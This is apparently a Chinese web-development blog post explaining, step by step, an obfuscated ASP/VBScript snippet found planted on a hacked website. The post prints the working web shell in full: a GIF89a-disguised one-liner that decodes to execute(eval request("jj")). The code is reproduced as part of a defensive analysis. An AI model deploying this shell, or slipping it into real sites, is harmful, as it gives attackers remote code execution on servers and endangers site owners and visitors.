- C#中SortedDictionary 的使用
- VMware安装Centos7及静态IP网络配置详细教程
- 网站色彩搭配方案
- 网站备案办理流程
- VB中Split函数的用法
- 学会substring的用法
- gmv是什么意思?电商gmv和营业收入的区别、计算公式和影响因素全解析
- 网站301重定向的好处?
- 哪些类型网站备案时需要前置审批?
- JS去掉字符串末尾字符的方法
邮箱:
手机:15383239821
一段vbscript代码的解释
网站被放了一段代码:
gif89a<%
dim a,b,temp,c
a="eva@@l%20req@@uest%28%22jj%22%29"
b=replace(a,"@@","零")
c=split(b,"零")
for i=0 to ubound(c)
temp=temp+c(i)
next
execute(unescape(temp))
%>
解释如下:
dim a,b,temp,c 定义几个变量
a=eva@@l%20req@@uest%28%22jj%22%29 给字符a赋值
b=replace(a,"@@","零")
replace为用第三个表达式替换第一个字符串表达式中出现的所有第二个给定字符串表达式。
所以 b="eva零l%20req零uest%28%22jj%22%29"
c=split(b,"零") 把字符串b从零处分隔开来,并赋给变量c,
此时c为带下标的数组,包含了(eva l%20req uesq%28%22jj%22%29)三段字符
for i=0 to ubound(c)
temp=temp+c(i)
UBound 函数可返回指示数组维数的最大下标。
用循环语句吧数组中的字符连接起来赋值给temp
temp="eval%20request%28%22jj%22%29"
execute(unescape(temp))
先执行里面 unescape(temp)
unescape 对 String 对象编码以便它们能在所有计算机上可读,返回一个包含了 charstring 内容的字符串值( Unicode 格式)。所有空格、标点、重音符号以 及 其他非 ASCII 字符都用 %xx 编码代替,其中 xx 等于表示该字符的十六进制数。例如,空格返回的是 "%20 "
从html url编码表中得知:%20为空格 %28为左括号( %22为双引号 %29为右括号
所有 unescape(temp)="eval request ("jj")"
execute(unescape(temp))
execute为执行参数中指定的代码
-
2020-07-27品牌企业网站建设的3个关键关键点
-
2013-08-20手机网页的制作方法三_添加网页内容
-
2010-11-11如何创造伪原创,巧妙修改文章标题
-
2010-08-09CSS+Jquery实现页面圆角框方法大全
-
2013-08-24从fckeditor升级到ckeditor后上传图片路径问题的解决
-
2019-10-16微信小程序 - 高级 - wx:for 与 wx:for-items 与 wx:key
